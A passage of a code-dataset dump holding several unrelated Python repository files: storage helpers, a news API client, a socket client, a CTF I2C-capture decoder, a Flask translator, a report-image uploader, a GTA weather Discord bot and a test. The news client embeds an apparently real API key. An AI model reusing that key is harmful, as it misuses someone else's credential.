Iterable[CloudObject]) -> List[Any]:\n ...\n\n\ndef load_cobjs(storage: Storage, cobjs):\n with ThreadPoolExecutor() as pool:\n return list(pool.map(lambda cobj: load_cobj(storage, cobj), cobjs))\n\n\ndef delete_objects_by_prefix(storage: Storage, bucket: str, prefix: str):\n keys = storage.list_keys(bucket, prefix)\n storage.delete_objects(bucket, keys)\n logger.info(f'Removed {len(keys)} objects from {storage.backend}://{bucket}/{prefix}')\n\n\ndef _iter_with_prefetch(callback, items, prefetch):\n futures: List[Future] = []\n items_iter = iter(items)\n # Limit to a single background thread for prefetching to avoid competing with the main thread,\n # and prevent slow starts caused by resource contention while the first few items are still\n # being processed.\n with ThreadPoolExecutor(1) as executor:\n try:\n while True:\n while len(futures) < prefetch + 1:\n futures.append(executor.submit(callback, next(items_iter)))\n yield futures.pop(0).result()\n except StopIteration:\n while len(futures) > 0:\n yield futures.pop(0).result()\n\n\ndef iter_cobjects_with_prefetch(\n storage: Storage, cobjects: List[CloudObject], prefetch=1\n) -> Iterable[bytes]:\n \"\"\"Lazily loads the raw content of each item in a list of CloudObjects, prefetching up to\n `prefetch` items ahead.\"\"\"\n return _iter_with_prefetch(storage.get_cloudobject, cobjects, prefetch)\n\n\ndef iter_cobjs_with_prefetch(\n storage: Storage, cobjs: List[CObj[TItem]], prefetch=1\n) -> Iterable[TItem]:\n \"\"\"Lazily loads and deserializes each item in a list of CObjs, prefetching up to\n `prefetch` items ahead.\"\"\"\n\n return _iter_with_prefetch(lambda cobj: load_cobj(storage, cobj), cobjs, prefetch)\n\n\ndef get_ranges_from_cobject(\n storage: Storage, cobj: CloudObject, ranges: Union[List[Tuple[int, int]], np.ndarray]\n) -> List[bytes]:\n \"\"\"Download partial ranges from a CloudObject. This combines adjacent/overlapping ranges\n to minimize the number of requests without wasting any bandwidth if there are large gaps\n between requested ranges.\"\"\"\n max_jump = 2 ** 16 # Largest gap between ranges before a new request should be made\n # Limit chunks to 256MB to avoid large memory allocations, and because SSL fails if requests\n # are >2GB https://bugs.python.org/issue42853 (Fixed in Python 3.9.7, broken in 3.8.*)\n max_chunk_size = 256 * 2 ** 20\n\n request_ranges: List[Tuple[int, int]] = []\n tasks = []\n range_start = None\n range_end = None\n for input_i in np.argsort(np.array(ranges)[:, 0]):\n lo_idx, hi_idx = ranges[input_i]\n if range_start is None:\n range_start, range_end = lo_idx, hi_idx\n elif lo_idx - range_end <= max_jump and range_end - range_start <= max_chunk_size:\n range_end = max(range_end, hi_idx)\n else:\n request_ranges.append((range_start, range_end))\n range_start, range_end = lo_idx, hi_idx\n\n tasks.append((input_i, len(request_ranges), lo_idx - range_start, hi_idx - range_start))\n\n if range_start is not None and range_end is not None:\n request_ranges.append((range_start, range_end)) # type: ignore\n\n logger.debug(f'Reading {len(request_ranges)} ranges: {request_ranges}')\n\n with ThreadPoolExecutor() as executor:\n\n def get_range(lo_hi):\n lo_idx, hi_idx = lo_hi\n args = {'Range': f'bytes={lo_idx}-{hi_idx-1}'}\n return storage.get_object(cobj.bucket, cobj.key, extra_get_args=args)\n\n request_results = list(executor.map(get_range, request_ranges))\n\n return [\n request_results[request_i][request_lo:request_hi]\n for input_i, request_i, request_lo, request_hi in sorted(tasks)\n ]\n","repo_name":"metaspace2020/metaspace","sub_path":"metaspace/engine/sm/engine/annotation_lithops/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":6213,"program_lang":"python","lang":"en","doc_type":"code","stars":38,"dataset":"github-code","pt":"72"} +{"seq_id":"25911187407","text":"import requests\nfrom json import loads\n\nNEWS_API_ENDPOINT = \"https://newsapi.org/v2/\"\nNEWS_API_KEY = \"4d24257f39a14620bad766d59d5841c0\"\nARTICLES_API = \"top-headlines\"\n\nCNN = 'cnn'\nDEFAULT_SOURCE = [CNN]\n# SORT_BY_TOP = 'top'\n\ndef _buildUrl(endPoint=NEWS_API_ENDPOINT, apiName=ARTICLES_API):\n return endPoint + apiName\n\ndef getNewsFromSources(sources=DEFAULT_SOURCE):\n articles = []\n\n for source in sources:\n payload = { 'apiKey': NEWS_API_KEY,\n 'sources': source\n # 'sortBy': sortBy\n }\n # reponse = requests.get(_buildUrl(), params=payload)\n # print(reponse)\n res_json = requests.get(_buildUrl(), params=payload).json()\n # print(res_json)\n if (res_json is not None and\n res_json['status'] == 'ok'):\n\n for news in res_json['articles']:\n news['source'] = news['source']['name']\n\n articles.extend(res_json['articles'])\n # print(articles)\n\n return articles\n","repo_name":"horis233/News-Recommend-Project","sub_path":"backend_server/utils/news_api_client.py","file_name":"news_api_client.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"7977304413","text":"import json\nimport socket\nimport time\n\n\nclass Client(object):\n def __init__(self, host='localhost', port=4242):\n self.host = host\n self.port = port\n self.socket = None\n\n def connect(self):\n self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n self.socket.connect((self.host, self.port))\n\n def _send(self, message):\n d = json.dumps(message)\n self.socket.sendall(bytes(d + '\\n', 'utf-8'))\n\n def _receive(self):\n buff = ''\n while True:\n buff += self.socket.recv(2048).decode('utf8')\n if not buff:\n return None\n if buff[-1] == '\\n':\n break\n message = json.loads(buff)\n return message\n\n def send(self, message):\n try:\n self._send(message)\n except Exception:\n self.connect()\n self._send(message)\n result = self._receive()\n self.socket.close()\n return result\n\n def execute(self, command, **kwargs):\n message = {\n 'command': command,\n 'args': kwargs,\n }\n r = self.send(message)\n if r['status'] == 'OK':\n if r.get('result'):\n return r['result']\n else:\n return None\n else:\n raise Exception(r['message'])\n\n def disconnect(self):\n self.socket.close()\n\n\nif __name__ == '__main__':\n client = Client()\n while True:\n r = client.send({'command': 'PING'})\n if r:\n print(r)\n time.sleep(1)\n","repo_name":"Hipo/backend-challenges","sub_path":"kvdb/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"72"} +{"seq_id":"3839188644","text":"# class level assignment script\n#CSC 110 Week 5, Lecture 1\n \n\ndef Level(Ncredits):\n classlevel = \"None\"\n\n if Ncredits<45: classlevel = \"Freshman\"\n\n #Write the rest of the code needed to classify each student\n\n print(\"Student is a\",classlevel)\n\nLevel(42)\n","repo_name":"Wynnikit/Python","sub_path":"csc_110/classlevel.py","file_name":"classlevel.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6301434600","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Dec 14 08:44:52 2020\n\n@author: hoang\n\"\"\"\n\nimport pandas as pd\n\ndf = pd.read_csv(\"./I2C_report.csv\")\ndf['hex_data'] = df['Data'].map(lambda x: x[2:]) #Remove the 0x in data field\n#print(df.head(100))\n#df['RW_bit']=df['Address'].map(lambda x: hex(int(x,16) & 1)) # last bit of lambda\n#df['Actual_add'] = df['Address'].map(lambda x: hex((int(x,16)>>1)))\n#Print(df.iloc[100:200])\n#Splitting the data into its 4bits\ndf['high_nibble'] = df['hex_data'].map(lambda x: x[0])\ndf['low_nibble'] = df['hex_data'].map(lambda x: x[1])\nprint(df['high_nibble'].value_counts())\nprint(df['low_nibble'].value_counts())\n#We notice that the first 4bit is repeating 3 or 2 times while the last 4 bit is in a recurring pattern of 8 C D 9\n#Let's extract the corresponding high nibble when low_nibble's in a pattern of 8C8 and D9 \n#msg_hex = \"\".join([df['high_nibble'].iloc[i] for i in range(len(df)-1) if df['low_nibble'].iloc[i] is in ['C','D']])\n#We notice that '8C8' bit pattern is just junk -> discard\n\n#Reextract\nmsg_hex = \"\".join([df['high_nibble'].iloc[i] for i in range(len(df)-1) if df['low_nibble'].iloc[i]=='D'])\nmsg_bytes = bytes.fromhex(msg_hex)\nprint(msg_bytes)\n\n#Reconstruction of messages\nmsg_parts = [i for i in msg_bytes.decode('utf8').split(\" \") if len(i)]\nmsg_parts = [msg_parts[i]+' '+msg_parts[i+1] for i in range(len(msg_parts)) if i < len(msg_parts)-2 and i%2 == 0]\nprint(list(enumerate(msg_parts)))\n\nprint('Flag is: ',end='')\nfor i,msg in enumerate(msg_parts):\n print(msg[int(i+14)],end='')\n if msg[int(i+14)] == '}':\n break","repo_name":"TheMarvelousWhale/HTB-Writeups","sub_path":"Mission_Pinpossible/I2C_decode.py","file_name":"I2C_decode.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"15453572999","text":"\r\nfrom flask import Flask, render_template, jsonify, request\r\nfrom flask_wtf import FlaskForm\r\nfrom flask_pagedown import PageDown\r\nfrom flask_pagedown.fields import PageDownField\r\nfrom wtforms.fields import SubmitField\r\nimport requests\r\nimport json\r\nimport re\r\n\r\napp = Flask(__name__)\r\napp.config['SECRET_KEY'] = 'secret!'\r\npagedown = PageDown(app)\r\n\r\n\r\nclass PageDownFormExample(FlaskForm):\r\n pagedown = PageDownField('Type the text you want to translate and click \"Translate\".')\r\n submit = SubmitField('Translate')\r\n\r\n\r\n@app.route('/', methods=['GET', 'POST'])\r\ndef index():\r\n form = PageDownFormExample()\r\n text = None\r\n if form.validate_on_submit():\r\n source = form.pagedown.data.lower()\r\n source = re.sub(r\"([?.!,:;¿])\", r\" \\1 \", source)\r\n source = re.sub(r'[\" \"]+', \" \", source)\r\n url = \"http://127.0.0.1:5000/\"\r\n headers = {\"Content-Type\": \"application/json\"}\r\n data = [{\"src\": source, \"id\": 100}]\r\n response = requests.post(url, json=data, headers=headers)\r\n translation = response.text\r\n jsn = json.loads(translation)\r\n text = jsn[0][0]['tgt']\r\n text = re.sub(r\" ([?.!,:،؛؟¿])\", r\"\\1\", text)\r\n return render_template('index.html', form=form, language=language, text=text)\r\n\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"ayusharora7/Abstractive-Text-Summarization","sub_path":"Run-Files/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"30416708940","text":"'''\nAuthor: dota_st\nDate: 2022-01-17 17:01:39\nblog: www.wlhhlc.top\n'''\nimport requests\nimport re\nimport configparser\nimport json\nimport warnings\nimport os\nimport urllib.parse\nwarnings.filterwarnings(\"ignore\")\nconfig = configparser.ConfigParser()\nconfig.read(\"config.ini\")\n\ndef old_file_read(file_name):\n file = open(\"./old_file/\"+file_name, 'r', encoding=\"utf-8\").read()\n file = urllib.parse.unquote(file)\n return file\n\ndef get_image(file_name):\n short_file_name = file_name.split(\".\")[0]\n file_content = old_file_read(file_name)\n img_pattern = r'(!\\[.*?\\]\\({0}\\.assets/image-.*?.png\\))'.format(short_file_name)\n image_list = re.findall(img_pattern, file_content)\n return image_list\n\ndef upload_img(file_name):\n img_list = get_image(file_name)\n dir_list = []\n img_path_list = []\n for i in img_list:\n short_file_name = file_name.split(\".\")[0]\n img_pattern = r'({0}\\.assets/image-.*?.png)'.format(short_file_name)\n dir = re.findall(img_pattern, i)\n dir_list.extend(dir)\n for i in dir_list:\n i = str(i)\n real_file = \"./old_file/\" + i\n headers = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0\",\n \"Accept\": \"*/*\",\n \"Accept-Encoding\": \"gzip, deflate\",\n \"x-csrftoken\": config['settings']['x-csrftoken'],\n \"Connection\": \"close\",\n \"Referer\": \"https://src.sjtu.edu.cn/add/\",\n \"Cookie\": config['settings']['cookie']\n }\n pattern = r\"(image-.*?.png)\"\n img_name = re.search(pattern, i).group()\n res = requests.post(url=\"https://src.sjtu.edu.cn/upload-images/\", headers=headers, data={'name': img_name}, files ={\"file\": open(real_file,\"rb\")}, verify=False)\n result = json.loads(res.text)\n up_img = result[\"url\"]\n img_url = \"https://src.sjtu.edu.cn\" + up_img\n print(f\"\\033[1;35m[+]{file_name} upload success! >> \\033[0m\" + img_url)\n img_path = f\"![{img_name}]\" + f\"({img_url})\"\n img_path_list.append(img_path)\n return img_path_list\n \n\ndef custom_make_translation(text, translation):\n regex = re.compile('|'.join(map(re.escape, translation)))\n return regex.sub(lambda match: translation[match.group(0)], text)\n\ndef create_file(file_name):\n content = old_file_read(file_name)\n img_list = get_image(file_name)\n if img_list:\n path_list = upload_img(file_name)\n dicts = dict()\n for i,j in zip(img_list,path_list):\n dicts[i]=j\n content = custom_make_translation(content, dicts)\n new_file = open(\"./new_file/\"+file_name, 'w')\n print(f\"\\033[1;32m[ok]{file_name} create success!\\033[0m\")\n new_file.write(content)\n\ndef main():\n file_list = os.listdir(\"./old_file/\")\n files = \" \".join(file_list)\n logo = r\"\"\"\n___________ .___ __________ __ \n\\_ _____/ __| _/_ __ _____________ ____\\______ \\ ____ ______ ____________/ |_ \n | __)_ / __ | | \\/ ___/\\_ __ \\_/ ___\\| _// __ \\\\____ \\ / _ \\_ __ \\ __\\\n | \\/ /_/ | | /\\___ \\ | | \\/\\ \\___| | \\ ___/| |_> > <_> ) | \\/| | \n/_______ /\\____ |____//____ > |__| \\___ >____|_ /\\___ > __/ \\____/|__| |__| \n \\/ \\/ \\/ \\/ \\/ \\/|__| \n\nPowered by dota_st\nBlog's: https://www.wlhhlc.top/\n\"\"\"\n print(logo)\n print('')\n print(f\"\\033[1;34m[*]scan file_dir: {files}\\033[0m\")\n for i in file_list:\n if os.path.exists(\"./new_file/\" + i):\n pass\n elif \".assets\" in i:\n pass\n else:\n create_file(i)\n\nif __name__ == '__main__':\n main()\n","repo_name":"dota-st/EdusrcReport","sub_path":"convert.py","file_name":"convert.py","file_ext":"py","file_size_in_byte":3714,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"72"} +{"seq_id":"4185431998","text":"# ex01_while.py\n\n# while 조건문 :\n # 수행할문장\n\ntreeHit = 0\nwhile treeHit < 10:\n print(\"나무를 %d번 찍었습니다.\" %treeHit)\n treeHit += 1\n \n# number = 0\n# while number != 4:\n# print(\"4가 아닙니다\")\n# number = int(input())\n \n# 복습\n\nfruits = [\"사과\",\"오렌지\"]\nfruits.append(\"딸기\") #리스트 끝에 추가\nfruits.insert(1,\"수박\") #원하는 위치에 추가\nprint(fruits)\n\n# while 문을 사용해서 1~10까지 숫자중 홀수만 리스트에 넣어주세요\nnumlist = []\nnumber = 0\nwhile number <= 10 :\n if number % 2 == 1 :\n numlist.append(number)\n number += 1\n \nprint(numlist)","repo_name":"cokeholic-kim/ptyhon-tutorial","sub_path":"day03/ex01_while.py","file_name":"ex01_while.py","file_ext":"py","file_size_in_byte":653,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41858069705","text":"import discord\nimport asyncio\nfrom datetime import datetime, timedelta\nimport math\n\nmoBot = 449247895858970624\n\nspaceChar = \"⠀\"\nCALENDEAR_EMOJI = \"📅\"\nCOUNTER_CLOCKWISE_EMOJI = \"🔄\"\n\nweatherPeriod = 384\ngameHourLength = 120\nsunriseTime = 5\nsunsetTime = 21\n\nb = datetime(1970, 1, 1) # used to get total_seconds\n\nasync def mainReactionAdd(message, payload, client): \n member = message.guild.get_member(payload.user_id)\n\n if (payload.emoji.name == CALENDEAR_EMOJI):\n await handleFutureCast(message, member)\n elif (payload.emoji.name == COUNTER_CLOCKWISE_EMOJI):\n await sendWeatherForecast(message)\n await message.remove_reaction(COUNTER_CLOCKWISE_EMOJI, member)\n# end mainReactionAdd\n\nclass Weather:\n def __init__(self, name, emoji, thumbnailDay, thumbnailNight):\n self.name = name\n self.emoji = emoji\n self.thumbnailDay = thumbnailDay\n self.thumbnailNight = thumbnailNight\n# end Weather\n\nclass GTAWeatherState:\n def __init__(self, description, thumbnailURL, gameTimeHrs, gameTimeStr, currentWeatherEmoji, currentWeatherDescription, rainEtaSec, rainEtaStr, isRaining):\n # Describes the time/date the forecast is for (formatted for Discord!)\n self.description = description\n\n # URL to a thumbnail picture showing the weather\n self.thumbnailURL = thumbnailURL\n\n # Current in-game time as the number of hours [0.0, 24.0)\n self.gameTimeHrs = int(gameTimeHrs)\n\n # Current in-game time, formatted as HH:MM (24-hour)\n self.gameTimeStr = gameTimeStr\n\n # Emoji showing the weather\n self.currentWeatherEmoji = currentWeatherEmoji\n\n # Name of the weather condition\n self.currentWeatherDescription = currentWeatherDescription\n\n # Time until it starts/stops raining, in seconds (see `isRaining`)\n self.rainEtaSec = int(rainEtaSec)\n\n # Time until it starts/stops raining, as a human-readable string (see `isRaining`)\n self.rainEtaStr = rainEtaStr\n\n # Shows if it's raining.\n # If `true`, then `rainEtaSec` and `rainEtaStr` show when the rain stops, otherwise they show when it starts\n self.isRaining = isRaining\n# end GTAWeatherState\n\nclass rainETA:\n def __init__(self, etaSec, etaStr, isRaining):\n self.etaSec = etaSec\n self.etaStr = secToVerboseInterval(etaSec)\n self.isRaining = isRaining\n# end rainETA\n\nclass GTATime:\n def __init__(self, gameTimeHrs, gameTimeStr, weatherPeriodTime):\n self.gameTimeHrs = gameTimeHrs\n self.gameTimeStr = gameTimeStr\n self.weatherPeriodTime = weatherPeriodTime\n# end GTATime\n\n# weather states\nclearWeatherState = Weather(\"Clear\", \"☀️\", \"https://i.imgur.com/LerUU1Z.png\", \"https://i.imgur.com/waFNkp1.png\")\nrainWeatherState = Weather(\"Raining\", \"🌧️\", \"https://i.imgur.com/qsAl41k.png\", \"https://i.imgur.com/jc98A0G.png\")\ndrizzleWeatherState = Weather(\"Drizzling\", \"🌦️\", \"https://i.imgur.com/Qx18aHp.png\", \"https://i.imgur.com/EWSCz5d.png\")\nmistWeatherState = Weather(\"Misty\", \"🌁\", \"https://i.imgur.com/mjZwX2A.png\", \"https://i.imgur.com/Mh1PDXS.png\")\nfogWeatherState = Weather(\"Foggy\", \"🌫️\", \"https://i.imgur.com/mjZwX2A.png\", \"https://i.imgur.com/Mh1PDXS.png\")\nhazeWeatherState = Weather(\"Hazy\", \"🌫️\", \"https://i.imgur.com/mjZwX2A.png\", \"https://i.imgur.com/Mh1PDXS.png\") # 🏭\nsnowWeatherState = Weather(\"Snowy\", \"❄️\", \"https://i.imgur.com/WJEjWM6.png\", \"https://i.imgur.com/1TxfthS.png\")\ncloudyWeatherState = Weather(\"Cloudy\", \"☁️\", \"https://i.imgur.com/1oMUp2V.png\", \"https://i.imgur.com/qSOc8XX.png\")\nmostlyCloudyWeatherState = Weather(\"Mostly cloudy\", \"🌥️\", \"https://i.imgur.com/aY4EQhE.png\", \"https://i.imgur.com/2LIbOFC.png\")\npartlyCloudyWeatherState = Weather(\"Partly cloudy\", \"⛅\", \"https://i.imgur.com/aY4EQhE.png\", \"https://i.imgur.com/2LIbOFC.png\")\nmostlyClearWeatherState = Weather(\"Mostly clear\", \"🌤️\", \"https://i.imgur.com/aY4EQhE.png\", \"https://i.imgur.com/2LIbOFC.png\")\n\nweatherStateChanges = [\n [0, partlyCloudyWeatherState],\n [4, mistWeatherState],\n [7, mostlyCloudyWeatherState],\n [11, clearWeatherState],\n [14, mistWeatherState],\n [16, clearWeatherState],\n [28, mistWeatherState],\n [31, clearWeatherState],\n [41, hazeWeatherState],\n [45, partlyCloudyWeatherState],\n [52, mistWeatherState],\n [55, cloudyWeatherState],\n [62, fogWeatherState],\n [66, cloudyWeatherState],\n [72, partlyCloudyWeatherState],\n [78, fogWeatherState],\n [82, cloudyWeatherState],\n [92, mostlyClearWeatherState],\n [104, partlyCloudyWeatherState],\n [105, drizzleWeatherState],\n [108, partlyCloudyWeatherState],\n [125, mistWeatherState],\n [128, partlyCloudyWeatherState],\n [131, rainWeatherState],\n [134, drizzleWeatherState],\n [137, cloudyWeatherState],\n [148, mistWeatherState],\n [151, mostlyCloudyWeatherState],\n [155, fogWeatherState],\n [159, clearWeatherState],\n [176, mostlyClearWeatherState],\n [196, fogWeatherState],\n [201, partlyCloudyWeatherState],\n [220, mistWeatherState],\n [222, mostlyClearWeatherState],\n [244, mistWeatherState],\n [246, mostlyClearWeatherState],\n [247, rainWeatherState],\n [250, drizzleWeatherState],\n [252, partlyCloudyWeatherState],\n [268, mistWeatherState],\n [270, partlyCloudyWeatherState],\n [272, cloudyWeatherState],\n [277, partlyCloudyWeatherState],\n [292, mistWeatherState],\n [295, partlyCloudyWeatherState],\n [300, mostlyCloudyWeatherState],\n [306, partlyCloudyWeatherState],\n [318, mostlyCloudyWeatherState],\n [330, partlyCloudyWeatherState],\n [337, clearWeatherState],\n [367, partlyCloudyWeatherState],\n [369, rainWeatherState],\n [376, drizzleWeatherState],\n [377, partlyCloudyWeatherState]\n]\n\nasync def handleFutureCast(message, member):\n await message.remove_reaction(CALENDEAR_EMOJI, member)\n n = datetime.utcnow()\n history = await message.channel.history(after=message, oldest_first=False).flatten()\n for msg in history:\n if (msg.author.id is member.id):\n try:\n n = datetime.strptime(msg.content.strip(), \"%d %m %y %H:%M\")\n except ValueError:\n await message.channel.send(\"**Could not convert message to date**\\nPlease use the format `dd mm yy hh:mm`. The numbers MUST BE zero-padded (`1 -> 01`).\")\n return None\n break\n\n moBotMember = message.guild.get_member(moBot)\n embed = discord.Embed(color=moBotMember.roles[-1].color)\n embed.set_author(name=\"GTA V Weather Forecast\", icon_url=moBotMember.avatar_url)\n\n futurecast = \"**4-Hour Futurecast for `%s`:**```%s```\" % (n.strftime(\"%a %b %d %H:%M UTC\"), getFuturecast(n))\n\n embed.description = futurecast\n msg = await message.channel.send(embed=embed)\n# end updateWeather\n\nasync def sendWeatherForecast(message):\n n = datetime.utcnow()\n\n moBotMember = message.guild.get_member(moBot)\n embed = discord.Embed(color=moBotMember.roles[-1].color)\n embed.set_author(name=\"GTA V Weather Forecast\", icon_url=moBotMember.avatar_url)\n\n currentWeather = getForecast(n)\n currentWeatherStr = \"**The in-game time is `%s`, and it is currently `%s` %s.**\" % (currentWeather.gameTimeStr, currentWeather.currentWeatherDescription.lower(), currentWeather.currentWeatherEmoji)\n currentRainStr = \"**Rain will `%s` in `%s`.**\" % (\"end\" if currentWeather.isRaining else \"begin\", currentWeather.rainEtaStr.strip())\n\n future_weather = getForecast(n + timedelta(seconds=currentWeather.rainEtaSec, minutes=1))\n future_weather_str = \"**The roads will be `%s` for `%s`.**\" % (\"dry\" if currentWeather.isRaining else \"wet\", future_weather.rainEtaStr.strip())\n\n '''futurecast = \"**3-Hour Futurecast for `%s`:**```%s```\" % (n.strftime(\"%a %b %d %H:%M UTC\"), getFuturecast(n))\n futureRainStr = \"**Rain in the next 12 hours:```%s```**\" % getFutureRain(n)'''\n \n specificDateInstructions = \"**To use a specific date:**\\n1. Type a date in the format `dd mm yy hh:mm`\\n2. Click the %s\\n*The numbers MUST BE zero-padded, and the time zone used is UTC.*\\n__Example:__\\n`1 February 2003 04:05 UTC` -> `01 02 03 04:05`\" % CALENDEAR_EMOJI\n\n embed.description = \"`%s UTC`\\n\\n%s\\n%s\\n%s\\n\\n%s\" % (n.strftime(\"%a %b %d %H:%M\"), currentWeatherStr, currentRainStr, future_weather_str, specificDateInstructions)\n embed.set_footer(text=\"| %s Refresh |\" % COUNTER_CLOCKWISE_EMOJI)\n\n if (message.author.id != moBot):\n msg = await message.channel.send(embed=embed)\n await msg.add_reaction(CALENDEAR_EMOJI)\n await msg.add_reaction(COUNTER_CLOCKWISE_EMOJI)\n else:\n msg = await message.edit(embed=embed)\n# end openWeatherSession\n\n# --- GET WEATHER FROM UTC DATE ---\n\ndef secToVerboseInterval(seconds):\n if (seconds < 60):\n return \"Less than 1 minute\"\n \n sMod60 = seconds % 60\n hours = math.floor(seconds / 3600 + (sMod60 / 3600))\n minutes = math.floor((seconds - (hours * 3600)) / 60 + (sMod60 / 60))\n ret = (\n ((str(hours) + (\" hours \" if (hours > 1) else \" hour \")) if (hours > 0) else \"\") + \n ((str(minutes) + (\" minutes \" if (minutes > 1) else \" minute \")) if (minutes > 0) else \"\")\n )\n\n return ret\n# end secToVerboseInterval\n\ndef hrsToHHMM(hrs):\n hh = \"%02d\" % math.floor(hrs)\n mm = \"%02d\" % math.floor((hrs - math.floor(hrs)) * 60)\n return \"%s:%s\" % (hh, mm)\n# end hrsToHHMM\n\ndef getGTATimeFromDate(d):\n timestamp = math.floor((d-b).total_seconds())\n gtaHoursTotal = timestamp / gameHourLength\n gtaHoursDay = gtaHoursTotal % 24\n\n return GTATime(gtaHoursDay, hrsToHHMM(gtaHoursDay), gtaHoursTotal % weatherPeriod)\n# end getGTATimeFromDate\n\ndef getWeatherForPeriodTime(periodTime):\n ret = None\n \n if (periodTime > weatherPeriod or periodTime < 0):\n return ret\n\n for i in range(len(weatherStateChanges)):\n if (weatherStateChanges[i][0] > periodTime):\n ret = weatherStateChanges[i-1][1]\n break\n\n if (ret is None):\n ret = weatherStateChanges[len(weatherStateChanges) - 1][1]\n\n return ret\n# end getWeatherForPeriodTime\n\ndef getRainETA(periodTime, currentWeather):\n if (periodTime > weatherPeriod or periodTime < 0):\n return None\n \n raining = isRaining(currentWeather)\n def getETA():\n for i in range(len(weatherStateChanges) * 2):\n index = i % len(weatherStateChanges)\n offset = math.floor(i / len(weatherStateChanges)) * weatherPeriod\n if (weatherStateChanges[index][0] + offset >= periodTime):\n if (raining ^ isRaining(weatherStateChanges[index][1])):\n return ((weatherStateChanges[index][0] + offset) - periodTime) * gameHourLength\n # end getETA\n\n eta = getETA()\n return rainETA(eta, eta, raining)\n# end getRainETA\n\ndef isRaining(state):\n return state is rainWeatherState or state is drizzleWeatherState\n# end isRaining \n\ndef isDayTime(gameTimeOfDayHrs):\n return gameTimeOfDayHrs >= sunriseTime and gameTimeOfDayHrs < sunsetTime\n# end isDayTime\n\ndef getFutureRain(n):\n rainStr = \"\"\n oldRainState = None\n t = n\n while (t < n + timedelta(hours=24)):\n currentWeather = getForecast(t)\n rainState = currentWeather.isRaining\n if (rainState != oldRainState):\n if (rainState):\n rainStr += \"%s - %s\\n\" % (t.strftime(\"%H:%M\"), currentWeather.rainEtaStr)\n oldRainState = rainState\n t += timedelta(minutes=1)\n return rainStr\n# end getFutureRain\n\ndef getFuturecast(n):\n report = \"\"\n t = n\n oldWeatherDescription = None\n while (t < n + timedelta(hours=4)):\n currentWeather = getForecast(t)\n if (currentWeather.currentWeatherDescription != oldWeatherDescription):\n report += \"%s - %s\\n\" % (t.strftime(\"%H:%M\"), currentWeather.currentWeatherDescription.title())\n oldWeatherDescription = currentWeather.currentWeatherDescription\n t += timedelta(minutes=1)\n return report\n# end getFuturecast\n\ndef getForecast(currentDate):\n gtaTime = getGTATimeFromDate(currentDate)\n currentWeather = getWeatherForPeriodTime(gtaTime.weatherPeriodTime)\n if (currentWeather is None):\n return \"Failed to determine current weather\"\n rainETA = getRainETA(gtaTime.weatherPeriodTime, currentWeather)\n if (rainETA is None):\n return \"Failed to calculate rain ETA\"\n\n return GTAWeatherState(\n \"Forecast for **%s**\" % currentDate.strftime(\"%b %d %H:%M UTC\"),\n (currentWeather.thumbnailDay if isDayTime(gtaTime.gameTimeHrs) else currentWeather.thumbnailNight),\n gtaTime.gameTimeHrs,\n gtaTime.gameTimeStr,\n currentWeather.emoji,\n currentWeather.name,\n rainETA.etaSec,\n rainETA.etaStr,\n rainETA.isRaining\n )\n# end getForecast\n\n# --- END GET WEATHER FROM UTC DATE ---","repo_name":"nosv1/MoBot","sub_path":"GTAWeather.py","file_name":"GTAWeather.py","file_ext":"py","file_size_in_byte":12239,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"33786565910","text":"# -*- coding: utf-8 -*-\nimport unittest\nimport tensorflow as tf\n\nfrom ..utils import logger\nfrom ..train.trainers import NoOpTrainer\nfrom .param import ScheduledHyperParamSetter, ObjAttrParam\n\n\nclass ParamObject(object):\n \"\"\"\n An object that holds the param to be set, for testing purposes.\n \"\"\"\n PARAM_NAME = 'param'\n\n def __init__(self):\n self.param_history = {}\n self.__dict__[self.PARAM_NAME] = 1.0\n\n def __setattr__(self, name, value):\n if name == self.PARAM_NAME:\n self._set_param(value)\n super(ParamObject, self).__setattr__(name, value)\n\n def _set_param(self, value):\n self.param_history[self.trainer.global_step] = value\n\n\nclass ScheduledHyperParamSetterTest(unittest.TestCase):\n def setUp(self):\n self._param_obj = ParamObject()\n\n def tearDown(self):\n tf.reset_default_graph()\n\n def _create_trainer_with_scheduler(self, scheduler,\n steps_per_epoch, max_epoch, starting_epoch=1):\n trainer = NoOpTrainer()\n tf.get_variable(name='test_var', shape=[])\n self._param_obj.trainer = trainer\n trainer.train_with_defaults(\n callbacks=[scheduler],\n extra_callbacks=[],\n monitors=[],\n steps_per_epoch=steps_per_epoch,\n max_epoch=max_epoch,\n starting_epoch=starting_epoch\n )\n return self._param_obj.param_history\n\n def testInterpolation(self):\n scheduler = ScheduledHyperParamSetter(\n ObjAttrParam(self._param_obj, ParamObject.PARAM_NAME),\n [(30, 0.3), (40, 0.4), (50, 0.5)], interp='linear', step_based=True)\n history = self._create_trainer_with_scheduler(scheduler, 10, 50, starting_epoch=20)\n self.assertEqual(min(history.keys()), 30)\n self.assertEqual(history[30], 0.3)\n self.assertEqual(history[40], 0.4)\n self.assertEqual(history[45], 0.45)\n\n def testSchedule(self):\n scheduler = ScheduledHyperParamSetter(\n ObjAttrParam(self._param_obj, ParamObject.PARAM_NAME),\n [(10, 0.3), (20, 0.4), (30, 0.5)])\n history = self._create_trainer_with_scheduler(scheduler, 1, 50)\n self.assertEqual(min(history.keys()), 10)\n self.assertEqual(len(history), 3)\n\n def testStartAfterSchedule(self):\n scheduler = 